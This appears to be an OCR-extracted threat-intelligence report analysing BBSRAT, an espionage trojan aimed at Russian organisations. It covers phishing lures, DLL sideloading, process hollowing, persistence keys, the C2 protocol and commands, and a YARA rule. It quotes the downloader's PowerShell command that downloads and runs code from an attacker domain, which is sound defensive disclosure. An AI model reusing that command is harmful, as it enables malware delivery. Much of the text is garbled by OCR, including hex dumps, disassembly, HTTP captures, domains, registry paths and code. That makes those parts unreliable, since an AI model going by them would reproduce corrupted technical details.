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In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other
Russian speaking nations, dubbed “Roaming Tiger”. The attack was found to heavily rely on RTF exploits and at the time, thought
to make use of the PlugX malware family.

ESET did not attribute the attacks to a particular attack group, but noted that the objective of the campaign was espionage and
general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered
continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a
concentration of attacks in late October and continuing into December.

The adversaries behind these attacks continued to target Russia and other Russian speaking nations using similar exploits and
attack vectors. However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, itis a
completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT.”

Targeting and Infrastructure

As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that
leave Russian language decoy document files after infecting the system. The files exploit the well-known Microsoft Office
vulnerability, CVE-2012-0158, to execute malicious code in order to take control of the targeted systems.
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Figure 1 Spear-phishing email delivering BBSRAT
In one case, the adversary impersonated an individual from the organization Vigstar, a Russian-based research organization in

charge of the development of satellite communications and special purpose wireless devices for the Russian Federation’s defense

and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar as well, and was

found on a job board website for a job opening at Vigstar.
The rough translation of the body of the email is as follows:

| send you a “list of international exhibitions of military, civil and dual-purpose, conducted in 2015 on the territory of the Russian

Federation and foreign states.” Waiting for your reply!

Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international

exhibitions that were conducted on Russian territory in 2015.
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Figure 2 Decoy document that is opened after the malicious document has infected the system

In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and
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control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously
published in the “Roaming Tiger” campaign, including transactiona[.Jcom and futuresgold[.Jcom. Interestingly, all of the previously
published C2 domains have significant overlap amongst the hashes and IPs while C2s for BBSRAT contain no overlap at all. This
may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or
infrastructure for each of the intended targets.
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Figure 3 Command and control infrastructure
BBSRAT Malware Analysis
Deployment Technique #1
BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was
discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the % TEMP% directory. The generated
filename is 10-16 uppercase alphabetic characters, and ends with a . TMP’ file extension. The dropper will continue to write an
embedded cab file in this location.

O000h: 4D 53 43 46 00 OO0 OO0 00 AR 58 01 OO0 OO OO OO OO | MSCF....*X......
0010h:| 2< 00 OO0 OO0 OO OO OD OO O3 O1 O1 OO O3 OO0 OO0 OO pesssssaansaanna
00z0h: BC OC OO OO 7F OO0 OO0 OO0 O4 00 O1 OO0 OO 1E OO0 00 | M....0ccesscsass
0D030Kk: 0O 0D OO OO0 OO OO 7& 46 B6& 31 20 00 70 GE 69 70 | .avwaes ZFH1 .pnip

0040h: 63 6E 2E 64 €C 6C 00 AB 1B 01 OO0 00 1E 00 00 00  cm.dll.secocsase
Q0S0h:| OD 74 46 B3 31 20 0D 61 63 6C 6D 61 69 SE 2E 73 | .zF?1 .aclmain.s
Q060h: &4 62 00 S0 86 00 00 AB 39 01 OO OO0 00 VA 46 B3 | db.Pt..«9....zF"
OO70hR:| 31 20 00 73 73 6F SE 73 76 72 2E 65 78 65 00 5E | 1 .ssonsvr.exs.”
posoh: SF 1C D9 82 71 00 80 43 46 ED FC 77 58 53 DB B7 | _.0U,q.€CKiuwxsh-
O0O90h: 30 OA AF 34 12 20 90 20 01 B2 84 26 20 4B 90 22 0.7 4. . .,.& H."®
OOACh: AD 60 40 TA 93 16 08 26 AD D2 94 12 90 26 24 82 *Ae*. .6 O, .68,
ODBOR: DZ 09 08 61 11 ¢S DE DB B6é 6F 1B 56 50 10 12 90  O..a.iklfc.VP. ..
OOCOR: 62 OS5 C4 02 AZ 12 2C DB 85 B0 D4 45 66 52 72 57 | b.k.¢.,0.€.E°Rr¥
Figure 4 Header of CAB file dropped by BBSRAT
The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on
the target machine:
%ALLUSERSPROFILE%\SSONSVR
%ALLUSERSPROFILE%\Application Data\SSONSVR
Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will
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expand the CAB file and write the results to the provided directory:

expand.exe “BTEMP%\[temp_file]” Destination “[chosen_path\SSONSVR”

This results in the following three files being written to the SSONSVR directory:

aclmain.sdb

pnipcn.dll

ssonsvr.exe

The ‘ssonsvr.exe’ file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file. The ‘aclmain.sdb’
file contains code that will eventually be loaded by the ‘pnipcn.dll’ file.

The malware finally executes ‘ssonsvr.exe’ via a call to ShellExecuteW.

Pollabwiirds Iiliily Draps CAB 16 Exidited Buih-n sxpand sxa 1o
Executed WTEMP% Dimctory Decompress Data to SS0NSVH Folder Exncufes ssonsar.exe

e e

Figure 5 Execution flow of dropper expanding CAB file
When ‘ssonsvr.exe’ is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding
the following environment string:
%SystemRoot%\System32\msiexec.exe
It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the
‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process.
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Figure 6 Sideloading execution flow
In order to ensure persistence, the following registry key is written on the victim’s machine:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe : [path_to_ssonsvr.exe]
Deployment Technique #2
In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the
Invoke-ReflectivePEInjection.ps1 script from the PowerSploit framework.
When the downloader executes, it will first decrypt the following two strings using a 5-byte XOR key of “\x01\x02\x03\x04\x05":
“powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.Jcom/IR.ps1’);Invoke-
ReflectivePEInjection -PEUTr! http.//testzake[.Jcom/s.exe”
“C:\\Windows\\SysWOWe64\\WindowsPowerShell\lv1.0\\powershell -exec bypass -c IEX (New-Object
Net.WebClient). DownloadString(‘http://testzake[.Jcom/IR.ps1’);Invoke-ReflectivePEInjection -PEUr http.//testzake[.Jcom/s.exe”
These strings are then sequentially executed via calls to WinExec. As we can see, the second command is specifically crafted to
run on 64-bit versions of Microsoft Windows. The commands in question will download an executable file and run it within the
context of the powershell process.
When the above commands are executed, the downloader will initially download the ‘IR.ps1’ powershell script from the specified

URL:

GET /IR.psl HTTP/1.1
Host: testrake.com
Connection: Keep-Alive

HTTP/1.1 ZB@ OK

Content=Type: applicationfoctet=stream
Last-ModiTied: Thu, 27 Awg 2815 13:32:27 GMT
Accept-Ranges: bytes

ETag: "6azcbdlccebddl:a™

Server: Microsoft=IIS/8.5

Date: Sat, 12 Dec 2015 12:21:27 GMT
Content=Length: 137236

function Invake-ReflectivePEInjection
1

=

«SYNOPSIS

This script has two modes. It can reflectively load a DLLSEXE in to the PowerShell process,
or it can reflectively load & DLL im ©o & remdté process. These modes have different parameters
and constralints,
please lead the Motes section (GEMERAL MOTES) for information on how to use thes.
Figure 7 Downloader downloading the Invoke-ReflectivePEInjection PowerSploit script
This Powershell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The
malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a
copy of the BBSRAT malware family.
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The downloader proceeds to drop either a 32-bit or 64-bit DLL file that will execute the two previously stated Powershell
commands when the DLL is loaded. This DLL is dropped to one of the following locations:
%SYSTEMROOT%\webl\srvcl32.dll

%APPDATA%\web\srvci32.dll

Additionally, the following registry keys are set depending on the system’s CPU architecture:
HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabeci}\IinprocServer32\ThreadingModel — “Both”
HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\inprocServer32\Default — [path_to_srvel32.dll]
HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\ThreadingModel — “Both”
HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1\inprocServer32\Default —
[path_to_srvcl32.dll]

The COM object for {42aedc87-2188-41fd-b9a3-0c966feabecl} is specific to ‘MruPidlList’, while the COM object for {F3130CDB-
AA52-4C3A-AB32-85FFC23AF9C1} is specific to ‘Microsoft WBEM New Event Subsystem’. This ensures that the DLL specified
will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced.
BBSRAT Execution

After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following
libraries at runtime:

ntdll.dll

kernel32.dll

user32.dll

advapi32.dll

gdi32.dll

ws2_32.dll

shell32.dll

psapi.dll

Secur32.dll

WisApi32.dll

Netapi32.dll

Version.dll

Crypt32.dll

Wininet.dll

The following mutex is then created to ensure a single instance of BBSRAT is running at a given time:
Global\GlobalAcProtectMutex

Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below

demonstrating BBSRAT making a call to the WSAStartup function:

debugi29 :BBRFZEAC ; ind stdcall j WEAStartup{WORD wlersionRequested, LPWSADATA 1pWShAData)
debuqi29 0BBF2RAC § WSASTartup proc near + CODE XREF: wimmain+&CLp
debugi29 - DeEF2EAC

debugi29 :0BBFZRAC wllersionRequested= word ptr @

debuqd29 0BBF2BAC 1pWSAData= dword ptr  BCh

debugi29 - DBEF2EAC

debugiliZ9 :0B8F2HAC push ebp

debugl2y :0RBF2EAD POy ebp. esp

debuglizy : BBBFZRAF mov eax, 202h

debugi2y : DEEF2%EY nov [ebprulersionRequested], ax

debugiz2y :DBBF2NEE Chp dword_911528, @

debuglzy :UBBF2REF inz short loc_8F2DT

debugizy :OBEFZRCT push  offset aWsastartup ; “MWERStartup”

debugi2y :NaRF2NCH push dwnrd_P11598
debugB2? BRRF2LEE call BetProcAddress_
debugB2? BRRF2RDE now duwnrd 211528, eax
debugf2 ) BRRF2RDF

debugf?9 - BRRF2EDT loc_BF2RDT: : CODE XREF: j WESnStartup=13Tj
debugf29 D NBRF2EDT mav rax, duard 911528

debugf29 :DERF2EDE naw EAp s Ehp

debugi?? :0BEF2KDE pop ebp

debugB2? - 0RBF2RDF {np Bax

debugi2y :0BBF2ZEDF |_WSAStartup endp
debugizy = BERFZRDF

Figure 8 BBSRAT calling WSAStartup function
The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for
network communication. This includes a series of HTTP or HTTPS requests, such as the following:
GET /bbs/1/forum.php?sid=1 HTTP/1.1
Cookie: A46A8AA9-D7D6-43FB-959DC96E
Content-Length:
User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1)
Connection: Keep-Alive
Host: transactionaf.Jcom
Cache-Control: no-cache
Accept: */*
Content-Type:
In the above example, the ‘1’ used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent
request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL
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for command and control (C2) communication.

When first executed, the malware will exfiltrate data about the victim’s machine via a POST request to the
‘/bbs/[counter]/forum.php?sid=[counter]’ URL. All network data sent via POST requests uses a custom binary structure, as defined
as the following:

1 struct network_header

2 A

3 DWORD random;

4 DWORD hardcoded®;

5 DWORD hardcodedl;

6 DWORD command;

7 DWORD length_of_compressed_data;

8 DWORD length_of_decompressed_data;

9 DWORD unknown?2;
10 BYTE compressed_datal];
11 3%,

The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being
sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data:

1 def decrypt(data):

2 out = []

3 for x in data:

4 t = Cord(x) - 23)

5 t1 = (t A 62)

6 t2 = (t1 + 23) & OxFF
7 out.append(chr(t2))

8 return out

The following data structure holds the victim’s information that is uploaded by BBSRAT:

1 struct victim_information

2 {

3 DWORD static_value;

4 DWORD major_version;

5 DWORD minor_version;

6 DWORD build_number;

7 DWORD platform_id;

8 DWORD default_locale;

9 DWORD unknown;

10 DWORD local_ip_address;

11 DWORD running_as_64_bit;

12 DWORD random;

13 DWORD unknownZ;

14 DWORD struct_length;

15 DWORD struct_with_not_used_length;
16 DWORD struct_with_username_length;
17 DWORD struct_with_group_length;

18 DWORD unknown3;

19 DWORD struct_with_hostname_length;
20 WCHAR not_used[?7];

21 WCHAR username[?7];

22 WCHAR group[??7];

23 WCHAR hostname[?7];

24 1%,

BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET
beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been
identified:

CommandSub- Description
command
0x110010 N/A Beacon
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0x110011 N/A Uninstall/Kill Malware

0x110020 N/A Upload Victim Information

0x110064 0x2 Execute Command and Return Response
0x110064 Ox4 Unknown

0x110064 0x5 Execute Shellcode

0x110066 0Ox7 Query Service Configuration

0x110066 Ox9 Start Service

0x110066 Oxa Stop Service

0x110066 Oxb Delete Service

0x110066 Oxc Change Service Configuration
0x110063 Oxd Enumerate Running Processes
0x110063 Oxf Kill Process

0x110063 0x10 Get Process Information

0x110063 0x12 Free Library for Specified Process
0x110065 Ox1b Execute Command Quietly

0x110065 Oxle Send Input to Console

0x110065 Ox1f Execute Shellcode

0x110061 0x20 List Drive Information

0x110061 Ox21 List File Information For Given Directory
0x110061 0x23 Write File

0x110061 Ox24 Read File

0x110061 Ox25 List File Information For Given Directory
0x110061 Ox27 Perform File Operation via SHFileOperation()
0x110061 0x28 Delete File

0x110061 0x29 Create Directory

0x110061 Ox2a Shell Execute

Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers.

Conclusion

As in many of the previous articles regarding espionage-motivated adversaries and possible nation-state campaigns, what is being
observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and
procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for
over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed
playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources is paramount to proactively
secure themselves and prevent attacks.

WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2
domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag.

Appendix
YARA Rule
1 rule bbsrat {
2 meta:
3 author = "Tyler Halfpop"
4 company = "Palo Alto Networks"
5 last_updated = "12-16-15"
6
7 strings:
8 $sa@ = "%ALLUSERSPROFILE%\\SSONSVR" fullword wide
9 $sal = "%ALLUSERSPROFILE%\\Application Data\\SSONSVR" fullword wide
10 $sa2 = "\\ssonsvr.exe" fullword wide
11 $0a0 = { 83 E8 01 88 OC @4 75 F8 8B 44 24 4@ 89 4C 24 18 89 4C 24 1C 89 4C 24 30 89
12 $oal = { 75 11 5F 5E B8 @D 00 00 00 5B 81 C4 ?? 07 00 00 C2 10 00 53 68 80 00 00 00
13 $sb@ = "%systemroot%\\Web\\"
14 $sbl = "srvcl32.d11"
15 $ob® = { B8 67 66 66 66 F7 E9 D1 FA 8B C2 C1 E8 1F 03 C2 8D 04 80 8B D1 2B DO 8A 44
16 $obl = { 8D 84 24 18 02 00 @0 50 C7 84 24 1C 02 00 00 94 00 00 00 FF 15 4C 20 40 00
17
18 condition:
19 uint16(@) == 0x5a4d and filesize < 300KB and (all of ($sa*) or all of ($o0a*) or all
20 }

BBSRAT Samples
MD5 EF5FA2378307338D4E75DECE88158D77 (Sample Analyzed)
SHAl1 574230D89EABDEOB6F937CD718B3AD19BB4F5CE3
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